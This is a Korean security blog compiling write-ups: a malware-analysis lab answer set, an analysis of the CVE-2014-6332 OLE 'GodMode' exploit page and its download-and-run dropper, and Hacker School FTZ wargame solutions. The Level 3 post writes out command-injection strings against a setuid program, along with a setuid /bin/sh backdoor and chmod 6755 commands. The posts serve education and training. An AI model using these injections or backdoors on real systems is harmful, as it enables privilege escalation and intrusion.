아마도 최초에는 "in" 명령어를 이용하여 설치할것이고, 향후 변동사항이 있을때 사용할것으로 예상됩니다.

"c" 명령어는 "configuration" 정도가 어울릴까요?

"c" 커맨드라인 옵션 정리 : 인자값을 이용한 레지스트리 직접 생성 및 등록 

 

④ "-cc"

일치 O : 인자가 3개가 아닌경우 sub_402410(삭제+종료) 호출, 그외 sub_401280, sub_402E7E 호출

일치 X : sub_402410(삭제+종료) 호출

 

"cc" 커맨드 옵션은 간결합니다.

sub_401280 서브루틴을 호출하여 레지스트리의 데이터를 얻어옵니다.

이후 sub_402E7E 서브루틴을 호출하는것을 볼 수 있는데, 

해당 함수 내부의 _stbuf _ftbuf 함수는 printf 내부 동작에 사용되는 함수이기도 합니다.

함수 호출시 전달된 인자 "k:%s h:%s p:%s per:%s\n" 의 형태가 화면에 해당값들을 출력하기 위한

용도로 보이기 때문에 직접 실행해봅니다.

"cc" 커맨드라인 옵션 정리 : 현재 레지스트리에 등록되어 있는 Config 값 출력 

 

 

 

------------------------------------------------------------------------------------------------------------------------------------------

0x02 문제풀이

------------------------------------------------------------------------------------------------------------------------------------------

1. 어떻게 하면 악성코드가 자신을 설치하게 할 수 있는가?

  옵션 "-in" 으로 패스워드를 입력해서 프로그램 자체를 초기설치할 수 있습니다.

  OllyDbg를 이용하여 패스워드 검증 부분을 뛰어넘을수도 있습니다.

 

2. 이 프로그램의 커맨드라인 옵션은 무엇인가? 패스워드 요건은 무엇인가?

   "-in" "-re" "-c" "-cc" 4가지 옵션이 있으며, 패스워드는 "abcd" 입니다.

   각 옵션의 기능과 패스워드를 구하는 방법은 위쪽의 분석을 참고하세요.

 

3. 이 악성코드가 특수 커맨드라인 패스워드를 요구하지 않게 영구 패치하려면 OllyDbg로 어떻게 해야 하는가?

   교재에서는 0x402510 주소에서 항상 참을 반환하게 함수의 첫번째 바이트를 변경하라고 되어 있지만

   코드를 패치할 수 있는 포인트는 더 다양할 것 같습니다.

 

4. 이 악성코드의 호스트 기반 지표(indicator)는 무엇인가?

   레지스트리키 생성, "파일명 Manager Service" 생성,

   원격 명령어 프로토콜을 이용한 백도어 기능, 파일 생성/복사 등이 있습니다.

 

5. 이 악성코드가 네트워크를 통해 수행할 수 있는 다른 행동은 무엇인가?

  악성코드는 네트워크를 통해 "SLEEP", "UPLOAD", "DOWNLOAD", "CMD", "NOTHING" 다섯 명령어 중

  하나를 실행하게 명령어를 받습니다.

 

6. 이 악성코드에 대한 유용한 네트워크 기반 시그니처가 있는가?

  기본적으로 악성코드는 http://...(중략)...analysis.com URL으로 통신하지만, 변경가능합니다.

  비컨은 xxxx/xxxx.xxx 형태로 HTTP/1.0 GET 리소스 요청을 합니다.

  여기서 x는 무작위로 구성한 문자와 숫자 ASCII입니다.

 

 

-----------------------------------------------------------------------------------------------------------------

0x03 마무리

-----------------------------------------------------------------------------------------------------------------

이번 포스팅은 IDA 소스코드만 보고 분석하기에도 정신없을 정도로 분량이 많았습니다. 

그러다보니 값을 검증하기 위해 올린 Ollydbg 화면 외에는 어셈블리어를 거의 살펴보지 못한 것 같습니다.

모르는게 많아서 포스팅 속도가 느리네요.

부족한글 봐주셔서 감사합니다.

 

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

 

posted by Red_Message
2016. 7. 24. 03:09 :: 취약점

안녕하세요 Message입니다.

오늘은 OLE 자동화 배열 취약점 분석을 주제로 포스팅하려 합니다.

초보자의 시각으로 OLE 취약점이 존재하는 웹페이지를 분석하는 글이므로,

삽질 또는 잘못된 내용이 있더라도 너그럽게 봐주시기 바랍니다.

 

 

실습환경은 Windows7 / IE / VMware 환경 입니다.

 

---------------------------------------------------------

1. OLE 자동화 배열 취약점이란?

---------------------------------------------------------

해당 취약점(CVE-2014-6332)은  IE 환경에서 발생하는 취약점 으로서,

갓모드에 진입하여 악성코드를 유포할 수 있는 취약점입니다.

 

Tip. 갓모드(GodMode)

OLE 취약점에서 갓모드는 무엇이든 할 수 있는 상태를 말합니다.

예를 들면, SafeMode에 의해 차단되는 아래와 같은 Shell Code가 동작할 수 있게됩니다.

  ex) set sh=createobject("Shell.Application")

SafeMode 뿐만 아니라 ASLR, DEP, EMET, DFI 등의 보호기술들이 다 소용없게 됩니다.

우리가 보편적으로 알고 있는 갓모드는 윈도우 OS(7, 8.1, 10)에서

아래 그림처럼 제어판의 확장인데, 혼동하면 안되겠습니다.

 

 

---------------------------------------------------------

2. 취약점 발생 원인

---------------------------------------------------------

취약점의 발생 원인은 IE에서 OLE 객체를 처리하는 과정에서 발생합니다.

OLEAUT32.dll 내부의 SafeArrayRedim() API에서 VBScript 배열의 크기를 변경하는 과정에서

충분한 에러처리를 수행하지 않아 버퍼오버플로우가 발생하게 됩니다.

OLE 취약점 발생 원인이나 동작 원리는 보안업체 블로그 등에서 상세히 확인할 수 있으며,

여기서는 실제 OLE 취약점이 존재하는 웹페이지를 살펴봅니다.

취약점에 대한 개념을 먼저 익히시고 보시면 이해하시는데 편하실겁니다.

 안랩 보안이슈 : 갓모드(GodMode) 공격의 시작, 제로데이 익스플로잇

 http://www.ahnlab.com/kr/site/securityinfo/secunews/secuNewsView.do?curPage=1&menu_dist=2&seq=23225

 

 

---------------------------------------------------------

3. 스크립트 살펴보기

---------------------------------------------------------

 

1) 전반부 : 역순으로 나열된 스크립트

OLE 취약점이 존재하는 웹페이지의 특징은 역순으로 배열되어 있는 스크립트 입니다.

이러한 특징은 분석가가 한눈에 알아보기 힘들게 만들기도 하지만

흔하지 않은 특징이라면, 보안솔루션의 탐지 시그니처가 될 수 있습니다.

아래의 그림을 참고하시면, 8~9라인에서부터 역순으로 배열된 스크립트를 볼 수 있습니다.

 

2) 중반부 : 난독화된 스크립트

엄청난 길이의 난독화 되어 있는 스크립트가 나열되어 있습니다.

이걸 복호화 하려면 제실력으로는 힘들것 같습니다.

초보인 저는 다른 방법을 강구해 보아야 겠죠?

 

3) 후반부 : VBScript

난독화된 스크립트를 지나서, 후반부는 VBScript로 구성되어 있습니다.

대부분은 함수의 선언으로 이루어져 있으며

전반부의 스크립트를 실행시키는 코드가 좀더 아랫부분에 존재합니다. (현재 그림에는 안보임)

 

 

---------------------------------------------------------

4. VBScript 스크립트 분석

---------------------------------------------------------

 

1) 역순으로 나열된 스크립트 재배열

이렇게 역순으로 나열된 스크립트를 분명 어디선가 다시 정상적으로 재배열 후에

스크립트를 적용시켜야 정상적으로 동작할겁니다.

그렇다면 textarea 태그에 지정되어 있는 ID값 lshdic200Xpage을 어디선가 사용할겁니다.

분석 초기부터 해당 ID값을 이용하여 추적했다면 좀더 빠른 분석이 가능했겠지만

저는 처음엔 이상한 문자열이네.. 생각하고 그냥 넘어갔더랬습니다.. (삽질++)

 

id값으로 스크립트의 문자열을 검색하면 StrReverse() 함수를 이용하여 텍스트를 역순으로 되돌리고

document.write() 함수를 이용하여 스크립트를 실행시키는 부분을 찾을 수 있습니다.

본래 화면에 문자열을 보이게 만드는 함수지만 스크립트 실행 용도로 사용 가능합니다.

 

정상으로 돌리는 부분을 찾아냈으니 역순으로 배열된 코드를 볼 방법은 여러가지가 생겼습니다.

단순히 document 함수를 alert()로 띄어보는 방법이 있고,

파이썬의 reversed() 함수 또는 for문을 이용해도 간단히 정상 코드를 볼 수 있습니다.

정상코드로 복원하여 alert() 함수로 띄운 내용은 아래와 같습니다.

 

 

 

2) SafeMode 해제, 갓모드로 진입

팝업창의 내용을 살펴보면 Begin() 이라는 함수의 내용입니다.

아래 그림처럼, VBScript가 있었던 후반부에서 Begin() 함수를 실행시킵니다.

사실, 후반부는 함수의 선언이 대부분이고, 한줄 적혀있는 Begin() 실행이 다입니다.

우리가 팝업으로 띄운 스크립트가 사실상 메인의 역할을 하고 있다고 보면 됩니다.

 Tip. 앞으로 등장할 VBScript 문법

 1. <script> </script> : VBscript는 단일 웹페이지에서 여러 개의 <script> </script> 문단을 가질 수 있습니다.

 2. dim arr(num) : 배열선언 / 주의점 : arr(10)으로 선언했을 경우 11개의 배열요소를 가짐(0부터 10까지)

 3. redim Preserve arr(5) : 배열 크기 변경, Preserve 명령 사용 시 이전 배열값은 유지

 4. Sub 서브루틴이름(매개변수) ... End Sub : 반환값 없는 함수

 5. Function 함수이름(매개변수) ... End Function : 반환값 있는 함수 / 함수이름 = 반환값

 6. For start=시작값 to 종료값 step 증감 : 반복횟수를 알고있는 경우 반복문 / 빠져나오려면 exit for 사용

 7. inStr() : 주어진 문자열에서 특정 문자열을 찾아서 그 위치를 반환 / 찾지 못하면 0 값을 반환

 8. IsObject() : 유효한 ActiveX 또는 OLE 자동화 객체를 참조하는지 여부 반환 / Trure or False

 9. cInt() : 인자로 전달된 값을 integer형으로 반환

 10. varType(변수) : 변수의 타입을 상수로 반환 / 부동소수점의 경우 반환값은 4

 11. randomize(number) : number를 사용하여 Rnd 난수 발생기를 초기화하고 새 시드값을 제공

 12. rnd(number) : 0보다 크고너 같고 1보다 작은 난수 값 반환, number의 값은 난수 발생 방법 결정

                                - num < 0 : number를 시드로 하여 매번 같은 수

                                - num > 0 : 순차적으로 생성되는 그 다음의 난수

                                - num = 0 : 가장 최근에 생성한 난수

                                - num = x : 순차적으로 생성되는 그 다음의 난수

 

 

3) Begin 파헤치기(1)

Begin() 함수의 내용을 본격적으로 살펴봅니다. 

먼저 위쪽의 내용을 살펴보면 Navigetor.UserAgent로 얻어낸 값을 instr() 함수를 이용하여

사용자 PC의 WIn64 여부와 IE환경이 맞는지 체크하고 있습니다.

info에 어떤 값이 담기는지 궁금해서 출력해보았습니다.

 

 

이후 BeginInit()과 Create() 함수를 연달아 호출합니다.

각 함수의 역할은 아래와 같습니다.

--------------------------------------------------------------------------------------------------------

1. BeginInit()

- 버퍼오버플로우를 일으키기 위한 배열 2개와 변수 초기화

- aa(5) : OLE취약점 발생시키기 위한 배열1

- ab(5) : OLE취약점 발생시키기 위한 배열2

- a0 : 랜덤초기화 후에, 숫자를 계속 높이며 취약점 발생 조건을 찾는데 사용

- a3 : 랜덤초기화 후에, a0를 계속 증가시키는 증감변수로 사용

 

2. Create()

- 내부의 Over() 함수를 이용하여 취약점 조건 만듬

- 배열 aa와 ab가 8바이트 간격으로 동적 할당 되어 취약점이 발생할 때까지 반복

--------------------------------------------------------------------------------------------------------

 

 

 

Create() 함수 내부에는 Over() 함수가 존재합니다.

해당 함수의 내용은 아래와 같습니다.

 Over()

 - Begininit()에서 초기화한 배열 2개(aa, ab)를 이용하여 취약점을 발생시킴

 - aa배열과 ab배열이 8바이트 차이를 두고 동적 할당 될 경우 취약점 발생 조건이 만족됨

 - redim을 통한 aa의 배열 재할당은 실패하지만, VBScript의 배열 정보가 담긴 SAFEARRAY구조체에서는 확장된 크기값이 저장됨 

 - intVersion 값이 대부분 높으므로 아랫부분의 else 이후에 초점을 맞춰서 해석 진행

 - aa(a1)의 VarType을 체크할 경우, ab(0)에 할당한 부동소수점(1.123456...) 값이 결과값으로 반환됨 => 취약점 발생 성공

 

 

취약점이 발생하려면 aa와 ab가  8바이트를 두고 동적 할당이 되어야 합니다. 

그런데 조건 상태가 복잡하여 표로 나타내 보았습니다.

 a0 = 1 + a3(=2) = 3  / a0는 BeginInit()에서 13+@로 할당됨

 a1 = 3 + 2 = 5

 a2 = a0(=1) + h8000000

 a3 = 2(증감연산자)  / a3는 BeginInit()에서 7+@로 할당됨

위 조건대로 진행될 경우 아래와 같이 type1=h2f66이 성립되어 Over=True가 됩니다.

 

 

4) Begin 파헤치기(2)

Over() 함수를 통하여 취약점이 발생되는 조건을 달성한 뒤에는

VBScript에서 파일생성과 cmd 명령어 실행 등을 자유롭게 수행할 수 있도록

IE의 보호모드(SafeMode)를 해제하는 setnotsafemode() 함수를 실행시킵니다.

해당 함수를 실행시키기 이전에 정상적인 값에 덮어 씌울 myarray 값을 초기화 합니다.

myarray값은 SAFEARRAY구조체의 값에 SafeMode 플래그인 0x1E를 0으로 바꾸어 놓는 값입니다.

-----------------------------------------------------------------

-> 01 00 80 08 01 00 00 00 00 00 00 00 00 00 00 00

-> 00 00 FF 7F 00 00 00

-----------------------------------------------------------------

 

 

setnotsafemode() 함수의 처음에 mydata() 함수를 실행시키게 되는데

아래와 같이 배열을 할당하고, 아무 기능을 수행하지 않는

더미 함수(=testaa)의 주소값을 리턴합니다.

 

여기서 i=teataa를 할당하고 바로 아래에서 null을 할당한 것을 보고 멘붕이 왔습니다.

검색해보니 VBScript에서 Function Object의 주소를 얻는게 불가능하다고 하더군요.

그래서 나온 꼼수가 바로 이것입니다.

i=testaa 구문을 만나면 testaa 값이 스택에 쌓입니다.

이후에 i에 할당하려 하지만 오류가 발생합니다.

그리고 "On Error Resume Next" 구문에 의하여 다음라인의 i=null을 만나게 됩니다.

하지만 i의 값이 null로 대체 되는것이 아니라 스택에 쌓인 인자값,

즉 testaa의 주소값에 vt 플래그만 0x01(null)로 대체 된다고 합니다.

결국은 i에 Function Object Address가 할당됩니다 :)

 

아래는 해외 사이트에서 이것을 테스트한 것을 일부 가져왔습니다.

null을 할당하자 vt 플래그만 대체되어 04350001이 되고, 결국 testaa의 주소값을 나타내게 됩니다.

URL : http://www.secniu.com/how-to-use-vbscript-to-turn-on-the-god-mode/

 

mydata()에서 설정하는 값의 배치가 어려워서 표로 나타내면 아래와 같습니다.

aa(a1), aa(a1+2)의 값과 타입에 값을 입력한 것을 알 수 있습니다.

해당 설정들은 이후에 실행할 readmemo()와 setnotsafemode()의 나머지 부분에서 사용됩니다.

 

 

4) Begin 파헤치기(3)

이제 safemode를 해제할 일만 남았습니다. 하지만 여기서 분석이 안되는 부분이 있었습니다.

 

- 첫번째 의문점입니다.

안랩 보안이슈에서 공개된 내용을 보게 되면

--------------------------------------------------------------------------------------------------------

"기본적으로 IE는 특정한 조건 하에서만 VBScript가 실행되도록 제한하며,

VBScript를 실행하기 전에 OleScript 객체 안에 있는 세이프모드를 확인"

--------------------------------------------------------------------------------------------------------

그렇다면 세이프모드를 해제하기 전까지 실행되고 있는 VBScript는 왜 실행되고 있는것인가?

이 부분에대해서 위의 URL의 초반부에 이러한 내용과 함께 예제가 있더군요.

 

한마디로 Shell.Application과 같은 Create Object 함수의 경우 SafeMode에 의해서 차단된다는...

그래서 아래와 같이 간단히 테스트해본 결과 MsgBoX는 띄워진 반면,

계산기 프로그램은 실행되지 않았습니다.

즉, SafeMode를 해제하는 평범한(?) 스크립트는 Script Engine이 SafeMode를 체크하지 않는다는 결론입니다.

 

 

- 두번째 의문점

CScriptEntryPoint 주소가 왜 더미 Sub에서 8바이트 떨어진 곳에 위치하냐는 점입니다.

아직 왜 그러한지 알아내지 못했습니다. 조금 더 연구가 필요할 것 같습니다.

원래 그런것이니 그렇다고 하면 초보 분석가인 저는 그저 상처받을뿐

이부분에 아시는분은 댓글을 남겨주시면 감사하겠습니다.

 

 

5) 갓모드 진입 후 어떤 행위가..?

갓모드로 진입한 이후에는 runmumaa() 함수를 통하여 원하는 소스코드를 실행시킵니다.

실행흐름을 따라가 보면 아래 그림처럼

runmumaa()는 runurl()을 호출하고

runurl()에서 흐름이 끊기는것처럼 보입니다.

 

하지만 alert() 함수로 for문이 끝난 후에 runurl을 출력해보면

아래와 같이 rechange(t) 함수를 document.write()함수를 통해 실행시키는 것을 볼 수 있습니다. 

 

rechange() 함수에 넘어가는 인자값 t와 난독화가 해제된 문자열을 출력해보면

중반부에 나오는 난독화된 문자열이 드디어 모습을 드러냅니다.

 

 

위의 스크립트의 내용을 정리하면 아래와 같습니다.

---------------------------------------------------------------------------------------------------------------------

1. TEMP 경로에 uninst.gif.vbs 파일 생성 및 echo 기능으로 내용 작성

2. cmd 콘솔에서 vbs 파일을 실행시킬 수 있는 cscript.exe 기능을 이용하여 작성한 vbs 실행

3. 파일명과 인자값 2개(URL, 파일경로) 넘김

4. Get명령어를 이용하여 URL에 접근 후 악성코드 다운로드

5. 악성코드 실행

---------------------------------------------------------------------------------------------------------------------

일단 OLE취약점이 발생하게 되어 SafeMode가 해제되게 되면

이후의 행동은 위에서 분석한 shell 실행 말고도 다양한 행동이 가능할 겁니다.

하지만 이러한 케이스를 많이 접할수록 악성행위들의 패턴에 대해 인지하는데 도움이 많이 될 것 같습니다.

 

 

---------------------------------------------------------

5. 마치며

---------------------------------------------------------

생각보다 포스팅이 길어졌습니다.

분석이라는 것이 개발분야를 알아야 좀더 수월하다는걸 다시 알게됩니다.

중간중간 제가 봐도 이해안되는 문맥의 단절과 설명되지 않는 부분이 많은 것 같습니다...

그럼에도 긴글 읽어주셔서 감사합니다.

틀린점이나 부족한 점은 언제든지 댓글 달아주세요. 감사합니다.

 

posted By Message.

Commit your way to the LORD, trust in him and he will do this. [PSALms 37:5]

 

posted by Red_Message
2016. 7. 21. 22:04 :: 문제풀이/Hacker School

 ||| Chapter 03 :: system() 함수의 위험성 |||

 

 

안녕하세요. Message입니다. Lv3 달립니다!

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 접속

Level3에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level3 / can you fly?

autodig라는 파일의 소스라는 말과 함께 해당 소스를 이용하여 level4의 권한을 얻으라고 합니다.

그리고 2개의 힌트를 더주었군요

+힌트1) 동시에 여러 명령어를 사용하려면?

+힌트2) 문자열 형태로 명령어를 전달하려면?

 

2) dig / nslookup

dig는 nslookup과 같은 명령어지만, 유닉스 계열에 탑재된 명령어 입니다.

사용방법은  dig @DNS서버IP 도메인  입니다.

이렇게보면 잘 알 수 없으니 KT DNS서버를 이용하여 질의해봅니다.

결과값은 아래와 같습니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

1) 공격대상 찾기

주어진 autodig 소스코드를 분석해보면 아래와 같은 행위를 합니다.

1) 사용자 입력을 받고, 인자가 2개가 아니면 오류를 출력한다.

2) "dig @"를 cmd로 복사하고, 나머지 인자들을 strcat() 함수를 이용하여 이어붙힌다.

3) 마지막에 " version.bind chaos txt" 문자열을 이어붙힌다.

4) system() 명령어를 이용하여 dig 동작을 수행한다.

 

이제 동작의 흐름을 알았으니 본격적으로 공격을 어떻게 할 것인지 궁리합니다.

일단 지금까지 배운게 있으니, find 명령어를 이용하여 Level4의 권한을 가진 파일을 찾아봅니다.

아래와 같은 결과값이 나왔습니다.

 

2) 공격대상 파일 기능 분석

해당 소스파일이 dig명령어와 동일한 기능을 수행하는지 살펴봅니다.

아래와 같이 결과값이 동일한 것을 알 수 있습니다.

  

 

3) 공격

원본 소스코드가 힌트로 제공되었으므로 별도의 리버싱 과정을 거치지 않고

system() 함수를 이용한 공격을 시도해보았습니다.

유닉스 계열은 세미콜론(;)을 이용하면 여러개의 명령어를 수행할 수 있습니다.

예를들어 세미콜론을 이용하여 id값을 두번 출력하고 싶다면 아래와 같이 하면 됩니다.

 

이와같은 원리를 이용하여 소스코드 내부에서 실행되는 system() 함수에

여러개의 명령어를 입력해보고자 시도해보았습니다.

아래와같이 ip값을 인자로 넘겨준뒤 세미콜론을 이용하여 id명령어를 입력하였고,

SQL Injection의 원리처럼 뒤에 값은 샾(#)을 이용하여 주석처리 해보았습니다.

 

하지만 이상하게 Level이 3으로 나오더군요

곰곰히 생각해보니 세미콜론을 붙이면 해당 소스코드의 system() 함수에 전달되는것이 아니라,

"/bin/autodig 16.126.63.1" 까지만 system() 함수로 실행되고

"id" 명령어는 해당 프로그램이 종료된 이후에 cmd상에서 실행된다는 결론을 내렸습니다.

이와같은 문제점을 해결하려면 system() 함수에 id명령어까지 들어가야 한다는 소리인데,

이를 해결하려면 인자값들을 쌍따옴표("")로 묶어주어 SETUID가 걸린 system() 함수에서 실행되게 만들어야 합니다.

즉, 아래와같이 실행될겁니다.

- system(dig @168.126.63.1; id; #version.bind chaos txt)

     (중략)

 

id값이 Level4로 나왔습니다.

좀더 깔끔한 해킹을 위해서 sh 명령어를 넣어주면 Level4의 쉘을 얻을 수 있고

아래와 같이 my-pass 명령어를 이용하여 다음레벨 패스워드를 얻을 수 있습니다.

 

 

---------------------------------------------------------

03. 보너스

---------------------------------------------------------

위의 방법에는 매번 autodig를 이용하여 level4의 권한을 얻어야 한다는 번거로움이 있습니다.

따라서 Level1과 같이 백도어를 만들어 놓으면 편리합니다.

라인수를 줄이기 위해 DNS 서버 IP는 127.0.0.1로 지정하고

아래와 같은 내용을 넣습니다.

------------------------------------------------

int main(){

char *cmd[2];

cmd[0] = \"/bin/sh\";

cmd[1] = (void *)0;

setreuid(3004,3004);

execve(cmd[0], cmd, cmd[1]);

}

------------------------------------------------

 

위 내용을 한줄로 표현하면 아래와 같습니다.

처음엔 한줄에 다 적어보려다가 Segmentation fault가 나서 세줄로 바꿨습니다.

(복사해서 커맨드에 마우스 우클릭하면 붙여넣기가 됩니다.)

 

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'int main(){char *cmd[2];cmd[0]=\"/bin/sh\";' > /tmp/superBackdoor.c; #( > : 파일출력 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'cmd[1]=(void *)0;setreuid(3004,3004);' >> /tmp/superBackdoor.c; #" ( >> : 이어쓰기 )

[lv3@ftz level3]$ /bin/autodig "127.0.0.1;echo 'execve(cmd[0],cmd, cmd[1]); };' >> /tmp/superBackdoor.c; #( >> : 이어쓰기 )

 

만들어진 파일은 아래와 같이 컴파일 합니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; gcc -o /tmp/superBackdoor /tmp/superBackdoor.c; #"

ls

------------------------------------------------------------------------------------------------

Tip. 파일삭제

적다가 실수가 나서, 파일을 지우려고 했더니 그것도 권한이 필요하다고 하더군요..ㅜ

[level3@ftz level3]$ /bin/autodig "127.0.0.1; rm /tmp/superBackdoor.c; #"

------------------------------------------------------------------------------------------------

 

파일을 실행하고 id 명령어를 입력하면 아직 Level3인것을 볼 수 있습니다.

아직 SUID를 설정하지 않았기 때문이라고 합니다.

 

 

SUID를 설정해주고 다시 실행하면 Level4의 쉘을 얻을 수 있습니다.

[level3@ftz level3]$ /bin/autodig "127.0.0.1; chmod 6755 /tmp/superBackdoor; #

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

system() 함수의 기능을 이용한 문제였습니다.

유닉스계열 OS에 대해 잘 알아야 취약점도 발견할 수 있음을 다시 깨닫게 됩니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level2 풀이  (0) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 7. 21. 18:56 :: 문제풀이/Hacker School

 

 ||| Chapter 02 :: 해킹의 시작 |||

 

 

안녕하세요. Message입니다.

Lv1 끝내고 또 손을 놔버렸네요...달려야겠습니다.

이번 챕터는 제목이 인상적이네요..ㅎㅎ

 

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level2에 접속하여  hint 파일을 열어봅니다. 

ID/PW : level2 / hacker or cracker

 

텍스트 파일 편집이라고 하니 VI편집기를 말하는것 같습니다.

VI편집기로 쉘의 명령을 실행시킬 수 있을까요?

 

 

Tip. VI편집기의 "명령어 실행" 기능

VI텍스트편집기에서 저장하고 나오기 위해 무심코  :wq!  명령어를 사용해왔습니다.

하지만 여기서 아래와 같이  :!명령어  를 입력하면 어떻게 될까요? 

 

바로 아래와 같이 잠시 VI텍스트편집기를 빠져나와서 해당 결과를 보여줍니다.

 

이후에 엔터를 치면 다시 VI편집기로 돌아오게됩니다.

 

또한 여기서 r를 덧붙여서  :r!명령어  를 입력하면 아래와 같이 결과값을 VI편집기에 추가할 수 있습니다. 

 

유닉스시스템은 CLI기반이기 때문에 문서를 편집하다가 시스템으로 되돌아가

다른 작업을 해야 할 경우 문서를 닫고 나갔다가 다시 되돌아와야 한다는 번거로움이 있습니다.

그래서 이와 같은 "명령어 실행" 기능이 존재하는 것입니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

02. 문제분석

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에서 사용했던 find 명령어를 이용하여 Level3의 setuid를 가진 파일을 찾아봅니다.

--------------------------------------------------------------------------

옵션1)  -perm +6000  -->  setuid or setgid가 걸린 파일 찾기

옵션2)  -user level3    -->  level3의 권한

옵션3)   2> /dev/null  -->  에러제거 옵션

--------------------------------------------------------------------------

해당 옵션을 이용하여 검색한 결과는 아래와 같습니다.

Permission을 확인해보면 SUID가 설정되어 있음을 확인할 수 있습니다  :  -rwsr-x---

 

찾아낸 파일을 실행해보면 아래와 같은 메세지를 볼 수 있습니다.

일반적인 VI 편집기로 보입니다.

VI편집기에서 사용되는 명령어 몇가지를 입력해 보니 정상동작합니다.

 

하지만 실행파일의 이름이 vi가 아닌 editor이므로 실제 vi가 맞는지 확인해보겠습니다.

특정명렁어의 위치를 찾아주는 명령어는  which  입니다.

 

해당 경로를 통해서 editor와 vim파일의 크기를 비교해보면 서로 다른 파일임을 알 수 있습니다.

vi와 vim까지 확인합니다.

 

vim이나 vi 파일에 링크를 걸어서 사용한 것도 아니며, 오히려 크기가 더 작습니다.

하지만 editor를 동작시키면 VI편집기임이 분명합니다.

그렇다면 해당 editor에서 id 명령어를 쳐보고 어떤 결과를 리턴하는지 살펴보면

아래와같이 Level3의 id가 찍히는 것을 알 수 있습니다.

 

공격방법을 알았으니  :!my-pass  명령어를 editor에서 실행시켜 다음 레벨의 비밀번호를 알아냅니다.

 

완전히 쉘을 따서 지속적인 Level3의 권한을 얻고싶다면  !sh  명령어를 이용하면 됩니다.

 

 

------------------------------------------------------------------------------------------------------------------------------------------

03. GDB 이용한 상세분석

------------------------------------------------------------------------------------------------------------------------------------------

 

GDB를 이용하여 ExcuteMe 파일의 상세 동작원리를 분석합니다.

 

1) GDB 실행

아래 옵션들을 이용하여 gdb를 실행시킵니다.

------------------------------------------------------------------------------------------------------------------------

옵션1)  실행 시 출력되는 도움말을 생략  -->  -q

옵션2)  AT&T 어셈블리어 명령어를 intel 어셈블리어 명령어로 변경  :  set disassembly-flavor intel

------------------------------------------------------------------------------------------------------------------------

 

 

2) 흐름파악

disas main의 출력결과를 통해 프로그램의 실행 흐름을 파악할 수 있습니다.

---------------------------------------------------------------------------------------------------------------------

① 스택을 구성한다

setudi(3003,3003)을 이용해 실행되는 파일의 User ID 권한을 Level3 계정으로 설정

system() 함수를 이용해 VI 편집기를 실행한다. 즉 Level3의 권한으로 VI편집기를 실행

---------------------------------------------------------------------------------------------------------------------

 

 

3) 주요 함수 분석

 

① setuid

함수에 push 되는 인자값들을 x/s 명령어를 이용하여 살펴보면,

0xbbb(3003)을 넣어줍니다. 즉, setuid(3003, 3003)을 의미하는 것이며

이것은 실행되는 파일의 User ID 권한을 Level3 계정으로 설정하는 것을 의미합니다.

Tip. UID란?

시스템 내에서 사용자를 식별할 수 있는 유일한 값입니다. GID는 UID들이 소속되어 있는 그룹ID 입니다.

 

system

system() 함수에 들어가는 인자값을 찍어보니 "/bin/vi" 입니다.

setuid를 설정하고 나서 system함수로 vi를 실행하는 것이 해당 파일의 핵심이었습니다.

 

 

---------------------------------------------------------

04. 마치며

---------------------------------------------------------

 

VI 편집기에서 명령어 실행이 가능한 부분을 이용한 문제였습니다.

하나씩 알아가는 재미가 있네요 ㅎㅎ

감사합니다.

 

':: 문제풀이 > Hacker School' 카테고리의 다른 글

해커스쿨 FTZ Level3 풀이  (1) 2016.07.21
해커스쿨 FTZ Level1 풀이  (0) 2016.04.25
posted by Red_Message
2016. 4. 25. 19:58 :: 문제풀이/Hacker School

 

 ||| Chapter 01 :: 백도어란 무엇인가? |||

 

안녕하세요. Message입니다.

시스템해킹에 대해서 배우고자 해커스쿨의 FTZ를 이용한 문제풀이를 포스팅하려 합니다.

Unix 계열 운영체제는 잠시 손을 놓으면 어색해지지만... 이번 기회를 통해 다시 친숙해지려 합니다.

실습환경 : FTZ 로컬 서버(RedHat Linux) + Vmwre 12.1.0 build

참고서적 : 문제풀이로 배우는 시스템 해킹 테크닉 / 여동기님 / 위키북스

 

 

------------------------------------------------------------------------------------------------------------------------------------------

00. 준비

------------------------------------------------------------------------------------------------------------------------------------------

 

무언가 하려고 하면 항상 환경 세팅에서 진이 빠지는 경우가 많은듯 합니다.

저같은 경우 한글깨짐 현상과 telnet 접속 시 자꾸 오류가 발생하더군요.

 

1) 한글깨짐

만약 한글이 깨진다면 아래와 같이 putty의 translation 속성을 Use font encoding을 바꿔줍니다.

 

2) Telnet 접속 안될 때

FTZ서버에 ping은 가지만 Telnet 접속이 안되더군요

방화벽과 백신도 꺼보고, 기능추가에서 telnet 활성화도 해보고.. 로컬 환경도 구축해봤지만 안됐습니다.

그래서 Telnet 접속을 포기하고 22번 포트로 SSH 접속했습니다. 실습하는데 지장은 없으니

안되시는 분들은 이렇게라도...

 

 

------------------------------------------------------------------------------------------------------------------------------------------

01. 문제파악

------------------------------------------------------------------------------------------------------------------------------------------

 

Level1에 접속하여 주어진 문제환경을 파악합니다.

1개의 파일과 2개의 폴더가 존재합니다.

 

레벨마다 주어지는 hint 파일의 내용을 확인합니다.

hint 파일의 내용은 아래와 같고, Level2 권한에 setuid가 걸린 파일을 찾는 내용입니다.

Tip. SETUID

setuid가 설정되면 소유자가 아니더라도 실행 시 일시적으로 소유자의 권한으로 실행됩니다.

